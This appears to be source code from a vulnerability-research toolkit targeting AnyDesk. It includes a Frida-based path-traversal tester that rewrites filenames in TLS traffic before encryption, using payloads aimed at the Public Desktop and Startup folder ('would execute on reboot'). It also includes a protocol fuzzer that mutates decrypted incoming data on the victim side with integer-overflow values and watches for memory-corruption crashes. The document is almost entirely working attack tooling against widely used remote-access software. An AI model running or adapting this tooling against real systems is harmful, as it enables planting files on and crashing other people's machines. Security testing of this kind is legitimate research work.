(access & 0x00000002) !== 0; // FILE_WRITE_DATA
|
||||
const isCreate = disposition === 1 || disposition === 2 ||
|
||||
disposition === 4; // CREATE_NEW, CREATE_ALWAYS, OPEN_ALWAYS
|
||||
|
||||
const op = {
|
||||
type: 'CreateFileW',
|
||||
path: path,
|
||||
isWrite: isWrite,
|
||||
isCreate: isCreate,
|
||||
access: '0x' + (access >>> 0).toString(16),
|
||||
disposition: disposition,
|
||||
traversalFlags: traversalFlags,
|
||||
timestamp: Date.now(),
|
||||
stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
|
||||
.map(DebugSymbol.fromAddress).join('\n')
|
||||
};
|
||||
|
||||
send({type: 'file_op', data: op});
|
||||
|
||||
if (traversalFlags.length > 0) {
|
||||
send({type: 'alert', msg: `TRAVERSAL DETECTED: ${path}`, flags: traversalFlags});
|
||||
}
|
||||
if (isWrite && isCreate) {
|
||||
send({type: 'file_create', path: path, traversalFlags: traversalFlags});
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (MoveFileW) {
|
||||
Interceptor.attach(MoveFileW, {
|
||||
onEnter(args) {
|
||||
const src = args[0].readUtf16String();
|
||||
const dst = args[1].readUtf16String();
|
||||
send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (MoveFileExW) {
|
||||
Interceptor.attach(MoveFileExW, {
|
||||
onEnter(args) {
|
||||
const src = args[0].readUtf16String();
|
||||
const dst = args[1].readUtf16String();
|
||||
send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (CopyFileW) {
|
||||
Interceptor.attach(CopyFileW, {
|
||||
onEnter(args) {
|
||||
const src = args[0].readUtf16String();
|
||||
const dst = args[1].readUtf16String();
|
||||
send({type: 'file_copy', src: src, dst: dst, timestamp: Date.now()});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (CreateDirectoryW) {
|
||||
Interceptor.attach(CreateDirectoryW, {
|
||||
onEnter(args) {
|
||||
const path = args[0].readUtf16String();
|
||||
if (isInteresting(path)) {
|
||||
send({type: 'dir_create', path: path, timestamp: Date.now()});
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
send({type: 'status', msg: 'File monitor active. Transfer a file via AnyDesk now...'});
|
||||
send({type: 'ready'});
|
||||
""";
|
||||
|
||||
# ============================================================
|
||||
# Phase 2: Inject Agent — runs on the SENDING (attacker) side
|
||||
# Hooks TLS send to find and replace filenames with traversal paths
|
||||
# ============================================================
|
||||
INJECT_AGENT = r"""
|
||||
'use strict';
|
||||
|
||||
const TRAVERSAL_PAYLOADS = %PAYLOADS%;
|
||||
let currentPayloadIdx = 0;
|
||||
let injectionCount = 0;
|
||||
|
||||
// The filename we're looking for (set by Python controller)
|
||||
const TARGET_FILENAME = '%TARGET_FILENAME%';
|
||||
const TARGET_FILENAME_WIDE = '%TARGET_FILENAME%'; // Will search for both UTF-8 and UTF-16
|
||||
|
||||
function findAndReplace(buf, searchStr, replaceStr) {
|
||||
const arr = new Uint8Array(buf);
|
||||
|
||||
// Search for UTF-8 string
|
||||
const searchBytes = [];
|
||||
for (let i = 0; i < searchStr.length; i++) {
|
||||
searchBytes.push(searchStr.charCodeAt(i));
|
||||
}
|
||||
|
||||
// Search for UTF-16LE string
|
||||
const searchBytesWide = [];
|
||||
for (let i = 0; i < searchStr.length; i++) {
|
||||
searchBytesWide.push(searchStr.charCodeAt(i));
|
||||
searchBytesWide.push(0);
|
||||
}
|
||||
|
||||
let found = false;
|
||||
|
||||
// Try UTF-8
|
||||
for (let i = 0; i <= arr.length - searchBytes.length; i++) {
|
||||
let match = true;
|
||||
for (let j = 0; j < searchBytes.length; j++) {
|
||||
if (arr[i + j] !== searchBytes[j]) { match = false; break; }
|
||||
}
|
||||
if (match) {
|
||||
send({type: 'injection', encoding: 'UTF-8', offset: i,
|
||||
original: searchStr, replacement: replaceStr});
|
||||
// Replace with traversal payload (UTF-8)
|
||||
const replaceBytes = [];
|
||||
for (let k = 0; k < replaceStr.length; k++) {
|
||||
replaceBytes.push(replaceStr.charCodeAt(k));
|
||||
}
|
||||
// Pad with nulls if replacement is shorter
|
||||
for (let k = 0; k < searchBytes.length; k++) {
|
||||
arr[i + k] = k < replaceBytes.length ? replaceBytes[k] : 0;
|
||||
}
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Try UTF-16LE
|
||||
if (!found) {
|
||||
for (let i = 0; i <= arr.length - searchBytesWide.length; i++) {
|
||||
let match = true;
|
||||
for (let j = 0; j < searchBytesWide.length; j++) {
|
||||
if (arr[i + j] !== searchBytesWide[j]) { match = false; break; }
|
||||
}
|
||||
if (match) {
|
||||
send({type: 'injection', encoding: 'UTF-16LE', offset: i,
|
||||
original: searchStr, replacement: replaceStr});
|
||||
// Replace with traversal payload (UTF-16LE)
|
||||
const replaceBytesWide = [];
|
||||
for (let k = 0; k < replaceStr.length; k++) {
|
||||
replaceBytesWide.push(replaceStr.charCodeAt(k));
|
||||
replaceBytesWide.push(0);
|
||||
}
|
||||
for (let k = 0; k < searchBytesWide.length; k++) {
|
||||
arr[i + k] = k < replaceBytesWide.length ? replaceBytesWide[k] : 0;
|
||||
}
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
// Hook EncryptMessage (SChannel) — modify data BEFORE encryption
|
||||
const EncryptMessage = Module.findExportByName('sspicli.dll', 'EncryptMessage') ||
|
||||
Module.findExportByName('secur32.dll', 'EncryptMessage');
|
||||
|
||||
if (EncryptMessage) {
|
||||
Interceptor.attach(EncryptMessage, {
|
||||
onEnter(args) {
|
||||
const pBufDesc = args[2];
|
||||
try {
|
||||
const cBuffers = pBufDesc.add(4).readU32();
|
||||
const pBuffers = pBufDesc.add(8).readPointer();
|
||||
|
||||
for (let i = 0; i < cBuffers; i++) {
|
||||
const bufPtr = pBuffers.add(i * 16);
|
||||
const cbBuffer = bufPtr.readU32();
|
||||
const bufType = bufPtr.add(4).readU32();
|
||||
const pvBuffer = bufPtr.add(8).readPointer();
|
||||
|
||||
if (bufType === 1 && cbBuffer > 0 && cbBuffer < 1024 * 1024) {
|
||||
const data = pvBuffer.readByteArray(cbBuffer);
|
||||
const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
|
||||
|
||||
if (findAndReplace(data, TARGET_FILENAME, payload)) {
|
||||
pvBuffer.writeByteArray(data);
|
||||
injectionCount++;
|
||||
currentPayloadIdx++;
|
||||
send({type: 'injected', count: injectionCount, payload: payload});
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch(e) {}
|
||||
}
|
||||
});
|
||||
send({type: 'status', msg: 'Hooked EncryptMessage for injection (SChannel)'});
|
||||
}
|
||||
|
||||
// Also try OpenSSL hooks
|
||||
const mods = Process.enumerateModules();
|
||||
for (const m of mods) {
|
||||
if (m.name.toLowerCase().includes('ssl') || m.name.toLowerCase().includes('crypto')) {
|
||||
try {
|
||||
const exports = m.enumerateExports();
|
||||
for (const exp of exports) {
|
||||
if (exp.name === 'SSL_write') {
|
||||
Interceptor.attach(exp.address, {
|
||||
onEnter(args) {
|
||||
const buf = args[1];
|
||||
const len = args[2].toInt32();
|
||||
if (len > 0 && len < 1024 * 1024) {
|
||||
const data = buf.readByteArray(len);
|
||||
const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
|
||||
if (findAndReplace(data, TARGET_FILENAME, payload)) {
|
||||
buf.writeByteArray(data);
|
||||
injectionCount++;
|
||||
currentPayloadIdx++;
|
||||
send({type: 'injected', count: injectionCount, payload: payload});
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
send({type: 'status', msg: `Hooked ${exp.name} for injection (OpenSSL)`});
|
||||
}
|
||||
}
|
||||
} catch(e) {}
|
||||
}
|
||||
}
|
||||
|
||||
send({type: 'status', msg: `Injection armed. Target filename: "${TARGET_FILENAME}"`});
|
||||
send({type: 'status', msg: `${TRAVERSAL_PAYLOADS.length} traversal payloads loaded. Send a file transfer now...`});
|
||||
send({type: 'ready'});
|
||||
""";
|
||||
|
||||
# Traversal payloads to test
|
||||
TRAVERSAL_PAYLOADS = [
|
||||
# Basic backslash traversal
|
||||
"..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test.txt",
|
||||
# Forward slash
|
||||
"../../../../Users/Public/Desktop/traversal_test2.txt",
|
||||
# Mixed separators
|
||||
"..\\..\\..\\..\\Users/Public/Desktop/traversal_test3.txt",
|
||||
# Startup folder (would execute on reboot)
|
||||
"..\\..\\..\\..\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.txt",
|
||||
# Double encoding
|
||||
"..%5c..%5c..%5c..%5cUsers%5cPublic%5cDesktop%5ctraversal_test4.txt",
|
||||
# Unicode fullwidth backslash (U+FF3C)
|
||||
"..\uff3c..\uff3c..\uff3c..\uff3cUsers\uff3cPublic\uff3cDesktop\uff3ctraversal_test5.txt",
|
||||
# Null byte truncation
|
||||
"..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test6.txt\x00ignored.png",
|
||||
# Long path
|
||||
"..\\..\\..\\..\\..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_deep.txt",
|
||||
# UNC path
|
||||
"\\\\localhost\\C$\\Users\\Public\\Desktop\\traversal_unc.txt",
|
||||
# Dot-dot with extra dots
|
||||
"...\\...\\...\\Users\\Public\\Desktop\\traversal_dots.txt",
|
||||
]
|
||||
|
||||
|
||||
def on_message_monitor(message, data):
|
||||
if message['type'] == 'send':
|
||||
payload = message['payload']
|
||||
msg_type = payload.get('type', '')
|
||||
|
||||
if msg_type == 'status':
|
||||
print(f" [*] {payload['msg']}")
|
||||
elif msg_type == 'ready':
|
||||
on_message_monitor.ready = True
|
||||
elif msg_type == 'file_op':
|
||||
d = payload['data']
|
||||
marker = ''
|
||||
if d['isWrite'] and d['isCreate']:
|
||||
marker = ' [WRITE+CREATE]'
|
||||
if d['traversalFlags']:
|
||||
marker += f' [!!!TRAVERSAL: {",".join(d["traversalFlags"])}!!!]'
|
||||
print(f" [FILE] {d['type']}: {d['path']}{marker}")
|
||||
if d.get('stack'):
|
||||
# Show first 3 frames
|
||||
frames = d['stack'].split('\n')[:3]
|
||||
for f in frames:
|
||||
print(f" {f}")
|
||||
elif msg_type == 'file_create':
|
||||
flags = payload.get('traversalFlags', [])
|
||||
marker = f' [!!!{"·".join(flags)}!!!]' if flags else ''
|
||||
print(f" [+FILE CREATED] {payload['path']}{marker}")
|
||||
elif msg_type == 'file_move':
|
||||
print(f" [MOVE] {payload['src']} -> {payload['dst']}")
|
||||
elif msg_type == 'file_copy':
|
||||
print(f" [COPY] {payload['src']} -> {payload['dst']}")
|
||||
elif msg_type == 'dir_create':
|
||||
print(f" [MKDIR] {payload['path']}")
|
||||
elif msg_type == 'alert':
|
||||
print(f"\n {'!'*60}")
|
||||
print(f" [!!!] ALERT: {payload['msg']}")
|
||||
print(f" [!!!] Flags: {payload['flags']}")
|
||||
print(f" {'!'*60}\n")
|
||||
elif message['type'] == 'error':
|
||||
print(f" [!] ERROR: {message['description']}")
|
||||
|
||||
on_message_monitor.ready = False
|
||||
|
||||
|
||||
def on_message_inject(message, data):
|
||||
if message['type'] == 'send':
|
||||
payload = message['payload']
|
||||
msg_type = payload.get('type', '')
|
||||
|
||||
if msg_type == 'status':
|
||||
print(f" [*] {payload['msg']}")
|
||||
elif msg_type == 'ready':
|
||||
on_message_inject.ready = True
|
||||
elif msg_type == 'injection':
|
||||
print(f" [FOUND] Filename at offset {payload['offset']} ({payload['encoding']})")
|
||||
print(f" Original: {payload['original']}")
|
||||
print(f" Replacement: {payload['replacement']}")
|
||||
elif msg_type == 'injected':
|
||||
print(f" [INJECTED #{payload['count']}] {payload['payload']}")
|
||||
elif message['type'] == 'error':
|
||||
print(f" [!] ERROR: {message['description']}")
|
||||
|
||||
on_message_inject.ready = False
|
||||
|
||||
|
||||
def find_anydesk_pid():
|
||||
import subprocess
|
||||
try:
|
||||
output = subprocess.check_output(
|
||||
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||
text=True, stderr=subprocess.DEVNULL
|
||||
)
|
||||
for line in output.strip().split('\n'):
|
||||
if 'AnyDesk' in line:
|
||||
parts = line.strip().strip('"').split('","')
|
||||
if len(parts) >= 2:
|
||||
return int(parts[1].strip('"'))
|
||||
except:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='AnyDesk File Transfer Path Traversal Tester')
|
||||
parser.add_argument('--phase', choices=['monitor', 'inject'], required=True,
|
||||
help='monitor=watch file writes on victim, inject=modify filenames on attacker')
|
||||
parser.add_argument('--filename', default='traversal_probe.txt',
|
||||
help='Filename to search for and replace (for inject phase)')
|
||||
args = parser.parse_args()
|
||||
|
||||
print("=" * 60)
|
||||
print(f" AnyDesk Path Traversal Tester — Phase: {args.phase.upper()}")
|
||||
print("=" * 60)
|
||||
|
||||
pid = find_anydesk_pid()
|
||||
if not pid:
|
||||
print("[!] AnyDesk.exe not found.")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[+] Found AnyDesk.exe (PID: {pid})")
|
||||
|
||||
try:
|
||||
session = frida.attach(pid)
|
||||
except Exception as e:
|
||||
print(f"[!] Frida attach failed: {e}")
|
||||
print("[!] Run as Administrator.")
|
||||
sys.exit(1)
|
||||
|
||||
if args.phase == 'monitor':
|
||||
print("[+] Monitoring file operations...")
|
||||
print("[+] Transfer a file via AnyDesk to this machine to see where it lands")
|
||||
|
||||
script = session.create_script(MONITOR_AGENT, runtime='v8')
|
||||
script.on('message', on_message_monitor)
|
||||
script.load()
|
||||
|
||||
for _ in range(100):
|
||||
if on_message_monitor.ready:
|
||||
break
|
||||
time.sleep(0.1)
|
||||
|
||||
print(f"\n{'=' * 60}")
|
||||
print(" MONITORING — send a file to this AnyDesk instance now")
|
||||
print(" Press Ctrl+C to stop")
|
||||
print(f"{'=' * 60}\n")
|
||||
|
||||
elif args.phase == 'inject':
|
||||
print(f"[+] Injection mode — target filename: '{args.filename}'")
|
||||
print(f"[+] Create a file named '{args.filename}' and transfer it via AnyDesk")
|
||||
|
||||
payloads_json = json.dumps(TRAVERSAL_PAYLOADS)
|
||||
agent_code = INJECT_AGENT.replace('%PAYLOADS%', payloads_json)
|
||||
agent_code = agent_code.replace('%TARGET_FILENAME%', args.filename)
|
||||
|
||||
script = session.create_script(agent_code, runtime='v8')
|
||||
script.on('message', on_message_inject)
|
||||
script.load()
|
||||
|
||||
for _ in range(100):
|
||||
if on_message_inject.ready:
|
||||
break
|
||||
time.sleep(0.1)
|
||||
|
||||
print(f"\n{'=' * 60}")
|
||||
print(f" INJECTION ARMED — send '{args.filename}' via AnyDesk file transfer")
|
||||
print(" Press Ctrl+C to stop")
|
||||
print(f"{'=' * 60}\n")
|
||||
|
||||
try:
|
||||
while True:
|
||||
time.sleep(0.1)
|
||||
except KeyboardInterrupt:
|
||||
print("\n[+] Stopped.")
|
||||
|
||||
session.detach()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,538 @@
|
||||
"""
|
||||
AnyDesk Blind Protocol Fuzzer
|
||||
Hooks the RECEIVING side's TLS decryption and mutates incoming data
|
||||
to trigger crashes in codec/protocol parsing.
|
||||
|
||||
Modes:
|
||||
--mode random : Random byte flips in all incoming data
|
||||
--mode dimensions : Target likely dimension fields (2-byte and 4-byte values 100-8192)
|
||||
--mode overflow : Replace small size values with large ones (integer overflow)
|
||||
--mode all : Cycle through all mutation strategies
|
||||
|
||||
Run on the VICTIM side while connected to attacker.
|
||||
The attacker just needs to move the mouse / show screen content to generate frames.
|
||||
|
||||
Usage: python 04_fuzzer.py --mode all --intensity medium
|
||||
"""
|
||||
import frida
|
||||
import sys
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import random
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
FUZZER_AGENT = r"""
|
||||
'use strict';
|
||||
|
||||
const FUZZ_MODE = '%FUZZ_MODE%';
|
||||
const INTENSITY = %INTENSITY%; // 0.0-1.0, probability of mutating a packet
|
||||
const SKIP_FIRST_N = %SKIP_FIRST_N%; // Skip first N packets (handshake)
|
||||
let packetCount = 0;
|
||||
let mutationCount = 0;
|
||||
let crashDetected = false;
|
||||
|
||||
// Mutation strategies
|
||||
const strategies = {
|
||||
// Flip random bytes
|
||||
random: function(arr, len) {
|
||||
const numFlips = Math.max(1, Math.floor(len * 0.01)); // 1% of bytes
|
||||
for (let i = 0; i < numFlips; i++) {
|
||||
const idx = Math.floor(Math.random() * len);
|
||||
arr[idx] = Math.floor(Math.random() * 256);
|
||||
}
|
||||
return `random_flip(${numFlips})`;
|
||||
},
|
||||
|
||||
// Target dimension-like fields: find 2/4-byte LE values between 100-8192
|
||||
// and replace with edge cases
|
||||
dimensions: function(arr, len) {
|
||||
const edgeCases16 = [0, 1, 0x7FFF, 0x8000, 0xFFFF, 0xFFFE, 65535, 32768, 32767];
|
||||
const edgeCases32 = [0, 1, 0x7FFFFFFF, 0x80000000, 0xFFFFFFFF, 0xFFFFFFFE,
|
||||
0x10000, 0xFFFF, 65536, 2147483647];
|
||||
let mutations = [];
|
||||
|
||||
// Scan for 4-byte values that look like dimensions
|
||||
for (let i = 0; i < len - 4; i += 2) {
|
||||
const val = arr[i] | (arr[i+1] << 8) | (arr[i+2] << 16) | (arr[i+3] << 24);
|
||||
if (val >= 100 && val <= 8192) {
|
||||
// This might be a width/height — replace with edge case
|
||||
if (Math.random() < 0.3) {
|
||||
const edge = edgeCases32[Math.floor(Math.random() * edgeCases32.length)];
|
||||
arr[i] = edge & 0xFF;
|
||||
arr[i+1] = (edge >> 8) & 0xFF;
|
||||
arr[i+2] = (edge >> 16) & 0xFF;
|
||||
arr[i+3] = (edge >> 24) & 0xFF;
|
||||
mutations.push(`dim32@${i}:${val}->${edge}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Also check 2-byte values
|
||||
const val16 = arr[i] | (arr[i+1] << 8);
|
||||
if (val16 >= 100 && val16 <= 4096) {
|
||||
if (Math.random() < 0.2) {
|
||||
const edge = edgeCases16[Math.floor(Math.random() * edgeCases16.length)];
|
||||
arr[i] = edge & 0xFF;
|
||||
arr[i+1] = (edge >> 8) & 0xFF;
|
||||
mutations.push(`dim16@${i}:${val16}->${edge}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
return mutations.length > 0 ? mutations.join(', ') : 'no_dims_found';
|
||||
},
|
||||
|
||||
// Integer overflow: find size-like fields and make them huge
|
||||
overflow: function(arr, len) {
|
||||
let mutations = [];
|
||||
|
||||
// Look for 4-byte values that could be sizes (reasonable range)
|
||||
for (let i = 0; i < len - 4; i += 4) {
|
||||
const val = arr[i] | (arr[i+1] << 8) | (arr[i+2] << 16) | (arr[i+3] << 24);
|
||||
|
||||
// Sizes typically > 0 and < 10MB
|
||||
if (val > 0 && val < 10 * 1024 * 1024) {
|
||||
if (Math.random() < 0.15) {
|
||||
// Integer overflow payloads
|
||||
const overflows = [
|
||||
0xFFFFFFFF, // Max uint32
|
||||
0x80000000, // Int32 sign flip
|
||||
val * 0x10001, // width*height overflow pattern
|
||||
0x7FFFFFFF, // Max int32
|
||||
val | 0xFF000000, // High bytes set
|
||||
(val << 16) | val, // Doubled
|
||||
0x01000000, // 16MB (alloc stress)
|
||||
0x10000000, // 256MB
|
||||
0xFFFFFFF0, // Near-max aligned
|
||||
];
|
||||
const ov = overflows[Math.floor(Math.random() * overflows.length)];
|
||||
arr[i] = ov & 0xFF;
|
||||
arr[i+1] = (ov >> 8) & 0xFF;
|
||||
arr[i+2] = (ov >> 16) & 0xFF;
|
||||
arr[i+3] = (ov >> 24) & 0xFF;
|
||||
mutations.push(`overflow@${i}:${val}->0x${(ov >>> 0).toString(16)}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
return mutations.length > 0 ? mutations.join(', ') : 'no_sizes_found';
|
||||
}
|
||||
};
|
||||
|
||||
function mutatePacket(buf) {
|
||||
const arr = new Uint8Array(buf);
|
||||
const len = arr.length;
|
||||
|
||||
if (len < 8) return null; // Too small to fuzz meaningfully
|
||||
|
||||
let strategy;
|
||||
if (FUZZ_MODE === 'all') {
|
||||
const modes = ['random', 'dimensions', 'overflow'];
|
||||
strategy = modes[mutationCount % modes.length];
|
||||
} else {
|
||||
strategy = FUZZ_MODE;
|
||||
}
|
||||
|
||||
const desc = strategies[strategy](arr, len);
|
||||
return {strategy: strategy, desc: desc};
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Hook DecryptMessage (SChannel) — mutate data AFTER decryption
|
||||
// ============================================================
|
||||
function hookDecrypt() {
|
||||
const DecryptMessage = Module.findExportByName('sspicli.dll', 'DecryptMessage') ||
|
||||
Module.findExportByName('secur32.dll', 'DecryptMessage');
|
||||
|
||||
if (DecryptMessage) {
|
||||
Interceptor.attach(DecryptMessage, {
|
||||
onEnter(args) {
|
||||
this.pMessage = args[1];
|
||||
},
|
||||
onLeave(retval) {
|
||||
if (retval.toInt32() !== 0) return;
|
||||
packetCount++;
|
||||
|
||||
if (packetCount <= SKIP_FIRST_N) return; // Skip handshake
|
||||
if (Math.random() > INTENSITY) return; // Probabilistic
|
||||
|
||||
try {
|
||||
const pBufDesc = this.pMessage;
|
||||
const cBuffers = pBufDesc.add(4).readU32();
|
||||
const pBuffers = pBufDesc.add(8).readPointer();
|
||||
|
||||
for (let i = 0; i < cBuffers; i++) {
|
||||
const bufPtr = pBuffers.add(i * 16);
|
||||
const cbBuffer = bufPtr.readU32();
|
||||
const bufType = bufPtr.add(4).readU32();
|
||||
const pvBuffer = bufPtr.add(8).readPointer();
|
||||
|
||||
if (bufType === 1 && cbBuffer > 16 && cbBuffer < 1024 * 1024) {
|
||||
const data = pvBuffer.readByteArray(cbBuffer);
|
||||
const result = mutatePacket(data);
|
||||
|
||||
if (result) {
|
||||
pvBuffer.writeByteArray(data);
|
||||
mutationCount++;
|
||||
|
||||
if (mutationCount % 10 === 0 || mutationCount <= 5) {
|
||||
send({
|
||||
type: 'mutation',
|
||||
seq: packetCount,
|
||||
size: cbBuffer,
|
||||
strategy: result.strategy,
|
||||
desc: result.desc,
|
||||
totalMutations: mutationCount,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch(e) {
|
||||
send({type: 'error', msg: e.toString()});
|
||||
}
|
||||
}
|
||||
});
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Hook SSL_read (OpenSSL) — mutate after read
|
||||
// ============================================================
|
||||
function hookSSLRead() {
|
||||
let hooked = false;
|
||||
const mods = Process.enumerateModules();
|
||||
|
||||
for (const m of mods) {
|
||||
if (m.name.toLowerCase().includes('ssl')) {
|
||||
try {
|
||||
const exports = m.enumerateExports();
|
||||
for (const exp of exports) {
|
||||
if (exp.name === 'SSL_read') {
|
||||
Interceptor.attach(exp.address, {
|
||||
onEnter(args) {
|
||||
this.buf = args[1];
|
||||
},
|
||||
onLeave(retval) {
|
||||
const read = retval.toInt32();
|
||||
if (read <= 0) return;
|
||||
packetCount++;
|
||||
|
||||
if (packetCount <= SKIP_FIRST_N) return;
|
||||
if (Math.random() > INTENSITY) return;
|
||||
|
||||
const data = this.buf.readByteArray(read);
|
||||
const result = mutatePacket(data);
|
||||
if (result) {
|
||||
this.buf.writeByteArray(data);
|
||||
mutationCount++;
|
||||
if (mutationCount % 10 === 0 || mutationCount <= 5) {
|
||||
send({
|
||||
type: 'mutation',
|
||||
seq: packetCount,
|
||||
size: read,
|
||||
strategy: result.strategy,
|
||||
desc: result.desc,
|
||||
totalMutations: mutationCount,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
hooked = true;
|
||||
}
|
||||
}
|
||||
} catch(e) {}
|
||||
}
|
||||
}
|
||||
return hooked;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Fallback: Hook ws2_32!recv and mutate raw (may break TLS)
|
||||
// ============================================================
|
||||
function hookRawRecv() {
|
||||
const wsRecv = Module.findExportByName('ws2_32.dll', 'recv');
|
||||
if (wsRecv) {
|
||||
Interceptor.attach(wsRecv, {
|
||||
onEnter(args) {
|
||||
this.buf = args[1];
|
||||
},
|
||||
onLeave(retval) {
|
||||
const received = retval.toInt32();
|
||||
if (received <= 0) return;
|
||||
packetCount++;
|
||||
|
||||
if (packetCount <= SKIP_FIRST_N) return;
|
||||
if (Math.random() > INTENSITY) return;
|
||||
|
||||
const data = this.buf.readByteArray(received);
|
||||
const result = mutatePacket(data);
|
||||
if (result) {
|
||||
this.buf.writeByteArray(data);
|
||||
mutationCount++;
|
||||
if (mutationCount % 50 === 0 || mutationCount <= 3) {
|
||||
send({
|
||||
type: 'mutation',
|
||||
seq: packetCount,
|
||||
size: received,
|
||||
strategy: result.strategy,
|
||||
desc: result.desc,
|
||||
totalMutations: mutationCount,
|
||||
note: 'RAW_SOCKET (may break TLS)',
|
||||
timestamp: Date.now()
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Crash detection: hook common crash paths
|
||||
// ============================================================
|
||||
function setupCrashDetection() {
|
||||
// Hook UnhandledExceptionFilter
|
||||
const uef = Module.findExportByName('kernel32.dll', 'UnhandledExceptionFilter');
|
||||
if (uef) {
|
||||
Interceptor.attach(uef, {
|
||||
onEnter(args) {
|
||||
const exceptionRecord = args[0];
|
||||
try {
|
||||
const exceptionCode = exceptionRecord.readU32();
|
||||
const exceptionAddress = exceptionRecord.add(Process.pointerSize * 2).readPointer();
|
||||
|
||||
send({
|
||||
type: 'crash',
|
||||
code: '0x' + (exceptionCode >>> 0).toString(16),
|
||||
address: exceptionAddress.toString(),
|
||||
totalPackets: packetCount,
|
||||
totalMutations: mutationCount,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
crashDetected = true;
|
||||
} catch(e) {}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Hook RtlReportException / RaiseException for earlier detection
|
||||
const raiseEx = Module.findExportByName('kernel32.dll', 'RaiseException');
|
||||
if (raiseEx) {
|
||||
Interceptor.attach(raiseEx, {
|
||||
onEnter(args) {
|
||||
const code = args[0].toInt32() >>> 0;
|
||||
// Filter: only report access violations, heap corruption, stack overflow
|
||||
if (code === 0xC0000005 || code === 0xC0000374 || code === 0xC00000FD ||
|
||||
code === 0xC0000409) {
|
||||
send({
|
||||
type: 'exception',
|
||||
code: '0x' + code.toString(16),
|
||||
codeName: {
|
||||
0xC0000005: 'ACCESS_VIOLATION',
|
||||
0xC0000374: 'HEAP_CORRUPTION',
|
||||
0xC00000FD: 'STACK_OVERFLOW',
|
||||
0xC0000409: 'STACK_BUFFER_OVERRUN'
|
||||
}[code] || 'UNKNOWN',
|
||||
totalPackets: packetCount,
|
||||
totalMutations: mutationCount,
|
||||
stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
|
||||
.map(DebugSymbol.fromAddress).join('\n'),
|
||||
timestamp: Date.now()
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
send({type: 'status', msg: 'Crash detection hooks installed'});
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Main
|
||||
// ============================================================
|
||||
send({type: 'status', msg: `Fuzzer starting (mode: ${FUZZ_MODE}, intensity: ${INTENSITY})`});
|
||||
send({type: 'status', msg: `Skipping first ${SKIP_FIRST_N} packets (handshake protection)`});
|
||||
|
||||
setupCrashDetection();
|
||||
|
||||
let hooked = hookDecrypt();
|
||||
if (!hooked) hooked = hookSSLRead();
|
||||
if (!hooked) {
|
||||
send({type: 'status', msg: 'WARNING: No TLS hooks available. Falling back to raw socket (unstable).'});
|
||||
hookRawRecv();
|
||||
}
|
||||
|
||||
send({type: 'status', msg: 'Fuzzer active. Make sure attacker screen is visible / moving...'});
|
||||
send({type: 'ready'});
|
||||
|
||||
// Periodic stats
|
||||
setInterval(function() {
|
||||
send({
|
||||
type: 'stats',
|
||||
packets: packetCount,
|
||||
mutations: mutationCount,
|
||||
crashDetected: crashDetected,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
}, 5000);
|
||||
""";
|
||||
|
||||
|
||||
def find_anydesk_pid():
|
||||
import subprocess
|
||||
try:
|
||||
output = subprocess.check_output(
|
||||
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||
text=True, stderr=subprocess.DEVNULL
|
||||
)
|
||||
for line in output.strip().split('\n'):
|
||||
if 'AnyDesk' in line:
|
||||
parts = line.strip().strip('"').split('","')
|
||||
if len(parts) >= 2:
|
||||
return int(parts[1].strip('"'))
|
||||
except:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
class FuzzerState:
|
||||
def __init__(self):
|
||||
self.ready = False
|
||||
self.mutations = 0
|
||||
self.packets = 0
|
||||
self.crashes = []
|
||||
self.exceptions = []
|
||||
self.start_time = time.time()
|
||||
|
||||
def on_message(self, message, data):
|
||||
if message['type'] == 'send':
|
||||
payload = message['payload']
|
||||
msg_type = payload.get('type', '')
|
||||
|
||||
if msg_type == 'status':
|
||||
print(f" [*] {payload['msg']}")
|
||||
elif msg_type == 'ready':
|
